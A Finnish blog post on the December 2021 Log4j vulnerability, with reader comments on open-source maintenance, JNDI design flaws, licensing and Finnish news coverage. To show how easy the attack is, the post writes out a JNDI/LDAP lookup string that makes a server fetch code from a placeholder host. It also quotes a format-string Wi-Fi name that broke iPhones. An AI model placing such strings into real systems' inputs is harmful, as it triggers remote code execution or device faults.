Turvallisuusalalla on pitkään spekuloitu kyberpandemian mahdollisuudella. Heräämmekö jonain päivänä maailmaan, jossa tietomurrot tai haittaohjelmat riivaavat kaikkia järjestelmiä saaden yhteiskunnan ja kansalaisten arjen sekaisin?
Tänä viikonloppuna on saatu esimakua kyberpandemiasta. Syynä on Log4j-niminen Java-komponentti, jota käytetään monissa nettipalveluissa. Ohjelmassa on ominaisuus, joka mahdollistaa yksinkertaisen hyökkäyksen: välittämällä palveluun yksinkertainen merkkijono palvelin saadaan hakemaan mistä tahansa nettiosoitteesta koodia, joka suoritetaan saman tien.
Haavoittuvuuksia on ollut aina, mutta Log4j on omaa luokkaansa. Sitä ei ole turhaan sanottu vuosisadan pahimmaksi tietoturva-aukoksi. Kyseessä ei ole varsinainen bugi, vaan pikemminkin suunnitteluvirhe, jota kukaan ei ole tiettävästi aiemmin huomannut käyttää hyödyksi.
Aiempi OpenSSL-haavoittuvuus, suomalaisten löytämä Heartbleed (2014), vaikutti laajalle ja havahdutti huomaamaan avoimen lähdekoodin ongelmat. Sen hyödyntäminen oli kuitenkin hankalaa ja vaati teknistä osaamista. Log4j on aivan toista maata: riittää, että vaihtaa selaimen tai puhelimen merkkijonoksi ${jndi:ldap://url-osoite-tähän/a} ja kertoo, mistä osoitteesta hyökkäyskoodi haetaan. Lapsikin sen osaa. Jopa tämä blogiteksti saattaa laukaista koodin hakuyrityksen, joskin url-osoite-tähän on osoitteena vaaraton.
Hieman vastaavia ongelmia on ollut aiemminkin iPhone-puhelimissa. Kesällä uutisoitiin, miten iPhonen verkkoasetukset hajoavat, jos puhelimella liittyy %p%s%s%s%s%n -nimiseen wifi-verkkoon. Edes puhelimen uudelleenkäynnistys ei auta. Aiemmin puhelimen on voinut sammuttaa lisäämällä tekstiviestiin tietyn merkkiyhdistelmän.
Nyt Log4j:n vaarallinen ominaisuus on korjattu, mutta korjausten asentaminen kaikkiin haavoittuviin järjestelmiin on jättimäinen työ. Kyse ei ole pelkistä nettipalveluista, vaan Log4j-komponenttia on tavattu myös erilaisista elektroniikkalaitteista. Suurin osa palveluista ei edes tiedä, että jossain koneiston uumenissa on haavoittuva palanen. Se selviää vain kokeilemalla, miten palvelu vastaa hakkerointiyritykseen.
Täsä Githubin listasta saa jonkinlaisen aavistuksen ongelman laajuudesta.
Nykyiset tietojärjestelmät koostuvat sadoista komponenteista, joista suurin osa on nettiyhteisön kehittämiä tai ylläpitämiä. Niitä pinotaan päällekkäin ja rinnakkain ilman, että kukaan tietää, mitä haavoittuvuuksia pinoon jää. "Avoin lähdekoodi on turvallista, koska kuka tahansa voi nähdä virheet" on vanha mantra, joka ei pidä enää paikkaansa.
Kaikki käyttävät vapaita ohjelmia -- toisten kirjoittamaa koodia -- eikä kukaan vastaa kokonaisuudesta. Kriittistä koodia saattaa ylläpitää joku yksittäinen henkilö oman työnsä ohella, tai sitten sitä ei ylläpidä enää kukaan. Log4j:n ylläpidosta huolehtii tiettävästi kolme tai neljä henkilöä, ja hekin vain vapaa-ajan projektina. Silti miljoonat ihmiset ja laitteet käyttävät heidän ilmaistyötään.
Tapahtuma herättää kysymään, millaisia pommeja nettipalveluissa piilee? Kuka löytää ne ensimmäisenä - rosvot, tiedustelupalvelut vai valkohattuhakkerit? Tämä viikonloppu ainakin on IT-ylläpidon painajainen. Luultavasti ensi viikolla tulemme näkemään monia tietomurtoja ja vahingontekoja. Joululomat on peruttu muiltakin kuin teho-osaston hoitajilta.
On ollut kiinnostavaa seurata Suomen uutisointia asiasta. Maailmalla Log4j on iso uutinen, "internet is on fire!". Suomessa sen ovat noteeranneet Ilta-Sanomat, Iltalehti ja Helsingin Sanomat. Yle ei vielä tähän mennessä ole reagoinut. It-maailmaa ymmärtäviä toimittajia on vähän, eikä heitä ole viikonloppuisin vuorossa. Tivi-lehti kirjoitti asiasta jo perjantaina, jolloin vakavuudesta ei ollut vielä täyttä selvyyttä. Tilanteen vaarallisuus on paljastunut vasta viikonlopun kuluessa.
Voi vain toivoa, että jos kyberpandemia joskus iskee, se ei ala ainakaan viikonloppuna.
Lisäys 14.12.2021: Vaaralliseksi osoittautunut ominaisuus lisättiin Apache Log4j-komponenttiin versiossa 2.0-beta9, joka julkaistiin 21.9.2013. Vaara huomattiin yli kahdeksan vuotta myöhemmin ja varoitus julkaistiin 9.12.2021. Siinä välissä kukaan ei huomannut asiaa tai ei ainakaan raportoinut siitä vaan käytti aukkoa itse tietomurtoihin. Mitähän muita pommeja järjestelmissä tikittää?
JNDI injection -riskistä oli esitelmä Black Hat 2016 -konferenssissa, mutta puhujat eivät itsekään osanneet yhdistää uhkaa Apache Strutsiin.
Nyt huolestuttavin skenaario on, että joku kirjoittaa haavoittuvuutta hyödyntävän madon. Se voisi levitä palvelimesta toiseen ja halvaannuttaa ison osan internetiä.
33 kommenttia:
--"Avoin lähdekoodi on turvallista, koska kuka tahansa voi nähdä virheet" on vanha mantra, joka ei pidä enää paikkaansa.--
Kannattaa käyttää termiä "vapaa ohjelmisto" (free/libre).
Vapaa lisenssi (gpl) takaa käyttäjälle oikeudet tutkia, muokata ja jakaa koodia yhteisön jäsenten kesken. Keskiössä on vapaus.
Vapaa koodi kunnioittaa käyttäjänsä tahtoa, mutta se ei ole laadun mittari. On olemassa hyvää ja huonoa koodia suljettuna tai avoimena.
Suljettujen ohjelmistojen käyttäjät ovat ohjelmistokoodin omistavan yrityksen armoilla.
Linkki Helsingin sanomien juttuun
Blogistin artikkelissa Ilta-Sanomiin on linkattu kahdesti (Hesarin linkki vie Iltikseen).
Linkki korjattu. Vapaa/avoin täsmennetty.
"Avoin lähdekoodi on turvallista, koska kuka tahansa voi nähdä virheet" on vanha mantra, joka ei pidä enää paikkaansa.
Varsinaisesti tämän väitteen suhteen tilanne ei ole muuttunut. Korkean profiilin avoimen lähdekoodin sovellukset ovat varmasti edelleenkin turvallisia käyttää, olettaen että käytät viimeisintä versiota. Siellä on paljon silmäpareja koodia tutkimassa ja virheet korjataan nopeasti ja koodin laatu on esimerkillisellä tasolla.
Sen sijaan maailmassa on paljon vähemmän huomiota saavaa avointa koodia jota kukaan ei juuri ylläpidä, mutta silti koodia löytyy kriittisistä infrastruktuureista. Koodi on aikanaan tehty hyvin ja se vain yksinkertaisesti toimii niinkuin pitää, mutta silti sieltä voi joskus löytyä vikoja. Näissä on ne pahimmat riskin paikat mitä avoimeen koodiin tulee. Onneksi maailmalla on nykyään monta projektia joissa myös vähemmän huomiota herättävistä komponenteista etsitään ja korjataan virheitä. Automatisoitujen työkalujen ansiosta tilanne on onneksi menossa parempaan suuntaan aikaisempaa nopeammin.
Suljetun lähdekoodin osalta tilanne on toki se, että koodi on ihan niin hyvin ylläpidetty kuin koodin omistava taho on siitä kiinnostunut. Yleensä kiinnostus on minimaalista, jos koodi vain suinkin toimii päällisin puolin niinkuin tarve on ja uusia ominaisuuksia ei tarvi kehittää. Se mitä omalta osaltani olen eri yritysten suljettuja koodeja nähnyt, niin ei niissä laatu usein ole paljon sen kummempi mitä keskimääräisessä harrastelijaprojektissa. Monesti koodi onkin varsin kokemattoman kehittäjän tekemää ja virheet sen mukaisia. Hyvänä esimerkkinä näistä juuri iPhonen ja Windowsin nolot ja helposti hyväksikäytettävät tietoturva-aukot. Valitettavasti nämäkin virheet löytyvät kyllä vaikkei lähdekoodia ole saatavilla. Korjauksia ei vain pysty tekemään kukaan muu kuin koodin omistaja.
Rob Graham (tunnettu tietorvatutkija, https://twitter.com/erratarob) twiittaa log4j juurisyystä, joka esitettiin 2016 Blackhat konferenssissa:
"The JNDI thing the BlackHat presentation presented is a potential risk, not presented as an exploitable vulnerability. Now, somebody who saw that presentation should've probably done an exhaustive search of open-source projects using JNDI-LDAP invocations, but none of us did."
ja jatkaa sitten toisessa twiitissä:
"Obviously, the maintainers of log4j are unlikely to have seen that presentation. Even if they spent 100% of their time reading the lastest presos at security conferences, they still wouldn't keep up on everything."
Noista kommnenteista voinee päätellä, että ainakin Java'n turvaaminen on erittäin vaativaa. Lisäksi pitäisi alkaa tutkia muiden tekemää avointa Java -koodia.
Aikoinaan Dan Kaminsky (nyt jo edesmennyt ja 'inductee of FIRST's Incident Response Hall of Fame') varoitti puolestaan siitä vaarasta, että vihamielinen taho voi tarkoituksella ujuttaa vaikeasti havaittavia bugeja avoimeen koodiin.
"Siellä on paljon silmäpareja koodia tutkimassa ja virheet korjataan nopeasti [...]"
Petteri Järvinen on enemmän oikeassa: myytti on myytti/mainoslause (on aina ollut).
"Given enough eyeballs, all bugs are shallow" eli ns. Linuksen laki oli Eric S. Raymondin kirjassaan The Cathedral and the Bazaar esittelemä ajatus, jonka tarkoituksena oli perustella yrityksien johtoryhmille siirtyminen pois suljetuista ohjelmistoista.
Raymondin ryhmä (Open Initiative) oli erkaantunut Stallmannin perustamasta Vapaan ohjelmiston liikkeestä (Free Software Foundation), koska he halusivat nopeuttaa Linuxille kirjoitetun koodin kehitystyötä: "Release early, release often", ks. RERO.
Raymondin mukaan "free as in freedom" ymmärrettiin liikemaailmassa aina väärin softakehityksen maksuttomuuden vaatimukseksi "free as in free beer". Kun liikkeestä riisuttiin sosiaalipoliittinen sanoma, jäi jäljelle pragmaattinen tapa järjestää ohjelmistojen kehitystyö avoimen koodin varaan, mikä oli helppo myydä business-maailman edustajille tapana säästää kustannuksissa.
Hyviä kommentteja.
Itseäni ihmetyttää, miksi kukaan tosiaan kiinnittänyt huomiota JNDI:hin. Tämähän on siinä mielessä poikkeuksellinen haavoittuvuus, ettei kyse ole yksittäisestä ohjelmointivirheestä, jollaisia voidaan hakea automatisoiduilla työkaluilla, vaan pikemminkin vaarallisesta suunnittelusta, jota kukaan ei huomannut useaan vuoteen. Tuntuu ihmeelliseltä, ettei kukaan havahtunut asiaan edes Black Hat -esityksen jälkeen viisi vuotta sitten. Yksinkertainen demo haavoittuvuuden käytöstä olisi riittänyt.
Vai huomasiko joku asian ja käytti sitä hyväkseen kaikessa hiljaisuudessa? Mitä muita vastaavia pommeja, ehkä jopa tahallisia, tietojärjestelmissä uinuu?
Tämä tiivistää tilanteen hyvin: https://xkcd.com/2347/ (tai https://imgs.xkcd.com/comics/dependency.png)
--"Mitä muita vastaavia pommeja, ehkä jopa tahallisia, tietojärjestelmissä uinuu?--
Mieleen juolahtaa npm ja left-pad (kik).
npm users suffered a disruption when a package that many projects depend on — directly or indirectly — was unpublished by its author, as part of a dispute over a package name...
Itseäni ihmetyttää, miksi kukaan tosiaan kiinnittänyt huomiota JNDI:hin
Javan JNDI haavoittuvuus tässä tapauksessa johtuu RMI:stä. Asiasta on nyt myös Cloudflaren blogissa.
RMI:n vaarallisuus on Javaa kehittäjien toimesta tiedostettu vuosia sitten ja sen käyttöä on jo rajoitettu ja se luultavasti poistetaan myöhemmin koska sen pitäminen turvallisena on ilmeisen mahdoton tehtävä. Alla olevista linkeistä lisää mitä on jo tehty.
- https://openjdk.java.net/jeps/385
- https://openjdk.java.net/jeps/407
Log4J2:n JNDI:n siihen lisänneet eivät selvästi ole oivaltaneet, että JDNI:n käyttö on hyvin läheistä sukua eval() kaltaisen kielen funktion käyttämiselle.
Ja aivan kuten eval() kanssa pitää aina pystyä huolehtimaan, että mistään ei-luotetusta lähteestä ei voi tulla syötettä, joka päätyy suoritettavaksi. Jos ei pysty, siitä seuraa haavoittuvuus.
Koska Log4J2:sta käytetään kirjoittamaan web-palveluissa lokiin, johon tyypillisesti kirjoitetaan mm. web-palvelun yhteydessä URL:sta tietoja käy kuten tässä kävi. Yhtä huonosti käy jos ei syötettä siivoa XSS:n tai SQL -injection varalta.
Mutta ehkä olisi vielä syytä pohtia syitä miksi haavoittuvuus koskettaa laajasti ohjelmistoja ja joista sen selvittäminen onko siellä haavoittuva Log4J2 käytössä vai ei.
Jatko ...
Kun James Gosling Sun Microsystems palveluksessa ollessaan alkoi kehittää Javaa, niin yksi tärkeimmistä tavoitteista oli tehdä C++:aa helpompi ohjelmointikieli ja joka toteuttaa objektiorientoituneen ohjelmoinnin menetelmiä, jotka -80 luvun lopulta alkaen saavuttivat suosiota.
Youtubessa on muuten erinomainen kaksiosainen Oral History of James Gosling -video, jonka Computer History Museum haastattelijat tekivät 2019.
Kun huomioidaan se, että Java valitaan usein kieleksi siksi, että sen kanssa pärjää vähemmänkin kokeneet ohjelmoijat kun vaikkapa C++:n kanssa, niin kiinnostus teknisiin yksityiskohtiin, joilla on merkitystä turvallisuuden kannalta ei aina jaksa riittävästi kiinnostaa Javaa käyttäviä firmoja saati ohjelmoijia. Usein heille riittää, että unit-testit menee läpi, tehdään core-review parin kanssa ja koodi laitetaan käyttöön.
Projektien kiireessä ei keritä kun lisäillä moduuleja jakelusta tarpeen mukaan ja jos siellä ei ole sopivaa niin etsitään sopivaa hakukoneilla ja SO:sta ratkaisua, jotta päästään eteenpäin. Houkutus uuden moduulin lisäämiseen on silloin suuri ja vaikka yrittäisi olla tarkkana mistä ja mitä lataa, niin voi käydä että tulee lisättyä myös jotain muuta.
Tämä johtuu siitä, että IDE -kehitysvälineitä käyttäessä kun kehittäjä lisää tarvitsemansa moduulin niin jos sillä moduulilla on lisäksi riippuvuus joihinkin muihin moduuleihin, niin jotkut kehitysvälineet lataa automaattisesti levyltä ja yhä useammin myös verkosta paikalliselle levylle automaattisesti eikä kehittäjä välttämättä huomaa kun lataus vain vilahtaa nopeasti ohi ensimmäisellä kerralla ja jatkossa se linkitetään mukaan ilman mitään tulostetta.
Tietysti tässä on eroja eri kehittävien (firmojen ja ihmisten) välillä prosesseissa, mutta ohjelmistokirjastot ja moduulien käyttö on niin yleistä nykyään, että hyvin suurella todennäköisyydellä läheskään kaikki kehittämät eivät kovinkaan hyvin tiedä ja tunne mitä kaikkia oman koodin ulkopuolisia moduuleja ohjelmisto kaiken kaikkiaan käyttää koska niiden itse lataamien moduulien lisäksi ne moduulit lataavat myös itse toisia moduuleja ja kirjastoja.
Jos edellä olevassa ei olisi mitään perää, niin sen tiedon löytäminen onko firman ohjelmistoissa käytetty Log4J2 Javan moduulia. Siis onko ohjelmisto haavoittuva jne. ei menisi niin kauan löytää kun nyt listoja katsoessa ja firmojen sivuilta lukiessa asian selvittämiseen menee.
Kun sivuilla lukee "Investigating" ja "Unknown", niiden tilalla lukisi joko "Non-vuln" tai "Fix …" kertoo selvästi siitä, että ei tiedetä mitä moduuleja omat ohjelmat käyttävät.
Se mitä tässä yritän tuoda esiin on se, että ne perimmäiset syyt miksi näitä vahinkoja tapahtuu on paljon moninaisempia kun mitä tuodaan yleisti esille.
Pahoittelut, että kaksi edellisät kommenttia on väärässä järjestyksessä. Ensimmäinen hävisi jonnekin ilman virhettä ja en huomannut sitä ennen toisen osan postaamista.
OK, sama ongelma toistui. Neljä linkkiä oli liikaa, joten poistin ankkurit noista kahdesta.
Kerran vielä,
1. osa "14. joulukuuta 2021 klo 21.07" ja sitten
2. osa "14. joulukuuta 2021 klo 21.03"
Omituista, että Bloggeri ei anna mitään virheilmoitusta, viesti näkyy iselle kuin se olisi julkaistu mutta sitten kun tekee reloadin sitä ei ole. Ilmeisesti spämmereitä varten oleva ominaisuus. Täytyy yrittää jatkossa muistaa tämä.
Ja viestin hukkumiseen riitti neljä (4) html muotoista linkkiä.
Blogger ei anna ylläpidollekaan mitään ilmoitusta kommenteista, jotka se luokittelee spammiksi. Kaikki pitää tarkistaa käsin. Vanha järjestelmä oli parempi, en ymmärrä miksi heikensivät sitä. Huomasin parin kommenttisi jääneen filtteriin joten vapautin ne.
Kiitokset selityksestä ja korjauksesta. Kannattaa varmasti sitten poistaa nuo räpellykset ja ylimääräinen ensimmäisen kopio tuosta lopusta.
Tämähän aukko muistuttaa PHP:n include($page) aukkoa, joita oli hyvin monella sivulla 2000 luvun alussa.
Muutes mitenkäs GDPR suhtautuu tähän Log4j käyttöön? Käsittääkseni sillä logitetaan käyttäjän syöte jne…
Yle uutisoi
Tietokoneesi hitaus voi johtua uudesta internetin haavoittuvuudesta...
https://yle.fi/uutiset/3-12229771
Ammattilaiset lukevat uutiset ihan muualta joten tuon kohderyhmää on kuluttajat, pelotellaanko tuossa nyt aiheettomasti ihmisiä. Onhan tuo log4j työasemissakin ongelmana mutta tavalliset käyttäjät koneineen lienevät aika turvassa, kun noudattaa perinteistä ohjetta "älä asenna mitään tuntemattomia sovelluksia".
Ylen uutisointi on virheellinen, pelotellaan turhaan. Log4j ei vaikuta kotikoneiden nopeuteen.
--"Ylen uutisointi on virheellinen, pelotellaan turhaan. Log4j ei vaikuta kotikoneiden nopeuteen."--
Kimmo Rousku puhuu asiaa, mutta toimittaja sekoittaa palvelimet ja kotikoneet.
Kimmo Rouskun haastattelu: Radio Suomen Päivä -- Nettivirukset uhkaavat
Rousku:
--Verkkorikolliset ovat ottaneet palvelimen hallintaan ja alkaneet louhia kryptovaluuttaa.
Toimittaja:
--Miten tavallinen ihminen voi havaita, että hänen koneellaan, palvelimellaan louhitaan kryptovaluuttaa jonkun toisen nimiin?
Rousku:
--Tämä ei koske tavallisia kotikäyttäjiä.
--Louhinnan huomaa siitä, että palvelu alkaa valtavasti hidastella, todella tahmeaa.
Itsellä kun kuulin aukosta, tuli ihmetys että miten voi log4j vuotaa noin pahasti.
Itse ole käyttänyt ja myös perehtynyt log4j sisäiseen logiikkaan noin 10-15 vuotta sitten.
Mutta nyt kun olen katsonut mistä on kyse niin sitä loki viestin formatointi logiikkaa ei ollut 10 vuotta sitten.
Ja tuossa Logj viesti formatoinnissa näytää olevan noin parikymmentä lookup luokkaa ja tuskin tuo jndi on ainut vaarallinen, vaikka onkin helppokäyttöisin hyökkääjälle.
Tuossa lokiviesti formatoinnissa ei ole ymmärretty tietoturvapuolta ollenkaan.
2000 luvun alussa Apache java kirjastot olivat turvallisia ja laadukkaita mutta tilanne on tainut muuttua. Olisko kehittäjä sukupolvi vaihtunut ja resurssit vähentyneet.
Ja tuossa Logj viesti formatoinnissa näytää olevan noin parikymmentä lookup luokkaa ja tuskin tuo jndi on ainut vaarallinen, vaikka onkin helppokäyttöisin hyökkääjälle.
Jep, ei ole :)
ks. CVE-2021-45046
Tuossa lokiviesti formatoinnissa ei ole ymmärretty tietoturvapuolta ollenkaan.
Ehkäpä liika luottamus siihen, että Java on turvallinen ohjelmointikieli on tuudittanut olemaan seuraamatta miten muissa ympäristöissä näitä on ollut aiemmin.
Jos nyt en aivan väärin arvaa, niin tällä hetkellä varmasti käydään suurennuslasilla lävitse muitakin mahdollisia vastaavia ongelmia, koska kun ongelma oli löytymättä näin pitkänä aikaa on mahdollista, että vastaavia koodauksen kukkasia läytyy lisää muualta.
Luultavasti myös staattisten koodin turvallisuutta tutkivia softia päivitetään kiireen vilkkaa. Ja ehkäpä myös koulutusta ja konsultointia tekevät päivittävät materiaalia ja saavat aiheen myydä lisää tarpeeseen.
Petteri,
Eikö sinun silmään nuo kaksi turhaa toistuvaa kommenttia sen ensimmäisen jonka vapautit lisäksi voisi poistaa?
- 14. joulukuuta 2021 klo 21.05
- 14. joulukuuta 2021 klo 21.07
Nehän ovat vain kopioita ts. yrityksiä postittaa uudestaan sitä ensimmäistä
- 14. joulukuuta 2021 klo 21.02
Minä ne lähetin useampaan kertaan yrittäessäni. Mitä arvoa niillä tässä keskustelussa?
--"Eikö sinun silmään nuo kaksi turhaa toistuvaa kommenttia sen ensimmäisen jonka vapautit lisäksi voisi poistaa?"--
Petteri Järvisellä on kirjan deadline. Uskoisin olevan kirjoitustöissä.
Kattava writeup aiheesta: Don't Lookup -- The Log4j Debacle
Toivottavasti nyt on poistettu oikeat.
Theo de Raadt of OpenBSD Interview (2006)
"TdR: If I add up everything we have ever gotten in exchange for our efforts with OpenSSH, it might amount to $1,000. This all came from individuals. For our work on OpenSSH, companies using OpenSSH have never given us a cent. What about companies that incorporate OpenSSH directly into their products, saving themselves millions of dollars? Companies such as Cisco, Sun, SGI, HP, IBM, Siemens, a raft of medium-sized firewall companies — we have not received a cent. Or from Linux vendors? Not a cent. Of course we did not set out to create OpenSSH for the money — we purposely made it completely free so that the “telnet infrastructure” of the 1980s would die. But it sure is sad that none of these companies return even a fraction of value in kind."
Onko tilanne yhtään parantunut 15 vuodessa?
"The exploitation of open-source software by companies that use freely available works without giving back to the community has been a sore spot among open source project maintainers for years."
Theo de Raadt on pitkään marmattanut tästä asiasta.
Vapaaehtoisesti he käyttävät BSD lisenssiä, joka on hyvin liberaali ja sallii kenen tahansa käyttää sillä lisensoitavaa koodia käytännössä lähes mihin hyvänsä kunhan ei poista BSD lisenssiä, eikä väitä olevansa koodin omistaja ja sen alkuperäinen tekijä.
GNU lisenssit on pitkälle samanlaisia sillä erotuksella, että lisenssin mukaan on tarjottava muille käyttäjille samat mahdollisuudet saada myös muutetun ohjelmiston lähdekoodi julksieen käyttöön jos muutoksia sisältävää ohjelmistoa on jaettu oman organisaation ulkopuolelle tavalla tai toisella. AGPL sisällyttää velvoitteen myös julkaista omaan käyttöön tehdyn muutetun lähdekoodin, jos sillä tuotetaan palveluja ulkopuolisille.
Missään näissä ei ole mitään velvoitetta ryhtyä tukemaan millään tavalla muita ohjelmistojen kehittäjiä. Edes mainintaa vapaaehtoisen tukemisen suotavuudesta ei ole lisensseissä ehdotuksena, jonka voisi tulkita moraalisesti velvoitttavaksi.
Theo ja moni muu on aivan oikeassa siinä, että olisihan se tosi reilua ja moraalisesti oikein siitä huolimatta, että tuetaan kun kerran hyödytään toisten tekemästä työstä ja saadaan sitä myötä taloudellista etua. Ilman muuta olisi, ei siitä varmasti erimielisyyttä tule.
Moni muukin asia olisi reilua bisneksessä, mutta sitä ei silti tehdä jos siihen ei ole mitään velvoitetta. Ei sellainen tule edes tehokkaan liiketoiminnallisesti ohjautuvien pörssiyhtiöiden mieleen, koska niiden ensisijainen peruste olla olemasa on pyrkiä tuottamaan voittoa omistajien sijoitetulle pääomalle.
Niiden liikkeenjohdon odotetaan tekevän parasta mahdollista saavutettavissa olevaa tulosta kultakin kvartaalilta ja sitä myötä kaikki menot, jotka eivät ole voiton tavoittelun näkökulmasta perusteltuja halutaan aina karsia pois.
Perinteinen patruunavetoinen savupiipputeollisuus, jota ei juuri valiteettavasti enää ole, toimi aikanaan hieman eri logiikalla. Se pyrki toki hyvään kannattavuuteen, mutta ei millä tahansa keinoin ja jossa oli sijaa hyvin voivalle työyhteisölle josta pidettin huolta. Sille rakennettiin vuokra-asuntoja, tarjottiin usein yleistä sairasvakuutusta parempaa terveyspalveluja omien sairaskassojen avulla. Lapsille oli kesäleireirejä ja työntekijöiden perheille virkistys ja vapaa-ajanvieton kerho- ja harrastustointaa tuettiin. Huoltokonttoreista työntekijöille myönnettiin pankkilainoja edullisempia lainoja.
Pienemillä paikkakunnilla nämä yritykset olivat usein suurimpia ja tärkeimpiä työnantajia, ne usein osallistuivat myös kunnan yhteisen infratuktuurin kehittämiseen, joihin kunnan omat rahkeet eivät muuten olisi riittäneet.
... jatko
Noilta vanhoilta patruunavetoisilta savupiipputeollisuutta edustavilta voisi odottaa halua osallistua jonkin järjestelmän tai palvelun kehittämiseen kun siitä itse myös hyötyvät. Mutta pörssiyhtiöiltä ilman selkeää velvoitetta sellaisten odottaminen omaehtoisesti on usein toiveajattelua.
Eivät ne osallistu, ellei a) ole pakko ts. lisenssi velvoittaa tai b) se osataan heille hyvin perustella niin, että sen avulla he saisivat korjattua vikoja ja c) myönteisen PR:n vuoksi.
Minulle tuli tätä kirjoittaessa mieleen Byran Cantrill'in esitys Youtubessa, jossa hän tuulettaa sitä miten järkevää on odottaa esimerkiksi Oraclelta mitään myötätuntoa avoimia ohjelmistoja kohtaan, kun se ei osaa nähdä välitöntä hyötyä siitä ja sen päämäärä on tehdä rahaa.
Bryan on moottoriturpa, mutta puhuu suurelta osin asiaa. Myötätunnon odottaminen isolta yritykseltä kuten Oraclelta on kun odottaisi myötätuntoa ruohonleikkurilta.
Pienemmät yritykset ja yhteistöt eivät tietysti ole aivan noin karusti rahan perässä ohjautuvia, mutta niiden taloudelliset resurssit tukea muita ohjelmistojen kehittäiä eivät tietysti niin hyvät kun olisivat isoilla pörssiyhtiöillä.
Kyllä Oraclekin osallistuu ja kehittää joitakin vapaita ohjelmistoja lähinnä talon sisällä kun on välttämätöntä sitä sitovan lisenssin vuoksi tai standardoinin vaatimuksen vuoksi, joista he eivät voi päästä eroon.
He ottavat kiitolisuudella vastaan ulkopuolisten panostukset näihin ohjelmistoihin, mutta eivät tietääkseni juuri tue ulkopuolisten kehittäjien työtä tlon ulkopuolella, siitäkään huolimatta että nämä osat joita kehittäjät kehittävät ovat heidän ohjelmistotuotteensa keskeisiä osia kuten tämä Log4J on pitkään ollut.
Lisenssiasioista on ollut viime vuosina parran pärinää useampaan kertaan kun pilvipalvelut (AWS, GCP, Azure, jne) sisällyttävät toisten yritysten avoimien ohjelmistoilla tehtyjä palveluita asiakkaille ja siten ryhtyivät kilpailemaan ohjelmiston alkuperäisen kehittäjän omien palveluiden kanssa. Sen vuoksi osa näistä kehittäjistä on vaihtanut uusien ohjelmistoversioiden lisenssin AGPL:ksi tai joksin itse luoduksi lisenssiksi jolla on käytännössä tarkoitus estää muita pilvipalveluja kilpailemasta heidän kanssaan. Esimerkkejä näistä on vaikkapa Elasticsearch, Kibana, MongoDB, REDIS jne. viime vuosilta.
"Täsä Githubin listasta saa jonkinlaisen aavistuksen ongelman laajuudesta."
Laajuudesta en tiedä, kun joukossa oli mm. 7-Zip mikä ei ole haavoittuva. Tulee laajuudesta ihan väärä kuva.
Tässä on toinen lista:
https://github.com/NCSC-NL/log4shell/tree/main/software
Hyvä Petteri että kirjoitit " Log4j haavoittuvuus on MONISSA koneissa" , jossakin kirjoitettiin "suurimmassa osassa" ja "melkein kaikissa" jne.
No ei ole LAMP:ssa, ei niissä yleensä mitään javaa tarvi.
"Log4j ei vaikuta kotikoneiden nopeuteen."
No kyllä vaikuttaa jos log4j2 on käytössä ja hyväksikäyttäjä laittaa mainauksen päälle.
Ohjelmoija tahtoo tehdä helposti ja nopeasti koska pitää saada äkkiä valmiiksi ja käyttöön.
Ongelma on myös kun firmalla on pitkä historia ja kasvanut "isoksi" niin löytyy järjestelmiä joille ei ole pääkäyttäjää, koska henkilö vaihtanut hommia tai firmaa, eli henkilö joka tuntisi järjestelmän kaikin puolin puuttuu. Puhumattakaan että datalle olisi nimetty omistaja joka tietäisi mitä data on.
Mene siinä sitten päivittämään järjestelmää jolle ei päivityksiä enään löydy, saatikka siirtämään eri hostille jolloin lisenssikin lakkaa toimimasta yms.
Oliko joku tehnyt asennus dokumentaation ja ylläpito dokumentaation, löytyykö dokumentaatiosta kaikki palomuuri avaukset, korjaukset, riippuvuudet jne.
Onhan se mukava tutkia miten kantaa täytyy konvertoida vai täytyykö kun kantamoottori päivittyy 15 versiota.
Näitä CVE- ja muita haavoittuvuuskantoja kun käy läpi, niin jonkin verran on ihan perustason ohjaimia ym, joihin ei ole julkaistu korjaussarjaa. Osa on toki jo vanhentuneita ja käytöstä poistuneita, mutta osan kanssa joutuu elämään tai kiertämään jollain muulla kontrollilla. Kontrollien rakentaminen on vähän osaamis,- tai rahakysymys. Aika moni nettipalvelukin antautuu simppelille sql-injektille kirjautumisruudusta, jos ei ole osattu tai viitsitty rakentaa kontrolleja. Sama koskee pilvipalveluita tai lähinnä niissä olevia virtuaalipalvelimia, jotka vuotavat käyttiksen ja alustan välillä. Apache on näissä muutenkin varsin ongelmallinen ilman tuota logj4:kin. Valveutunut palveluntarjoaja teettääkin kunnon vulerability assessmentin ja tekee siitä lompakolleen sopivan riskiarvion, vähentämistoimet ja jäännösriskin. Keskivertokäyttäjät lienevät jossain määrin turvassa, vaikka noita kotiboksissa olisikin. IP-osoitteet käyvät IPv6 odotellessa vähiin ja kotiboksi on sen seitsemän NATtauksen takana.
Lähetä kommentti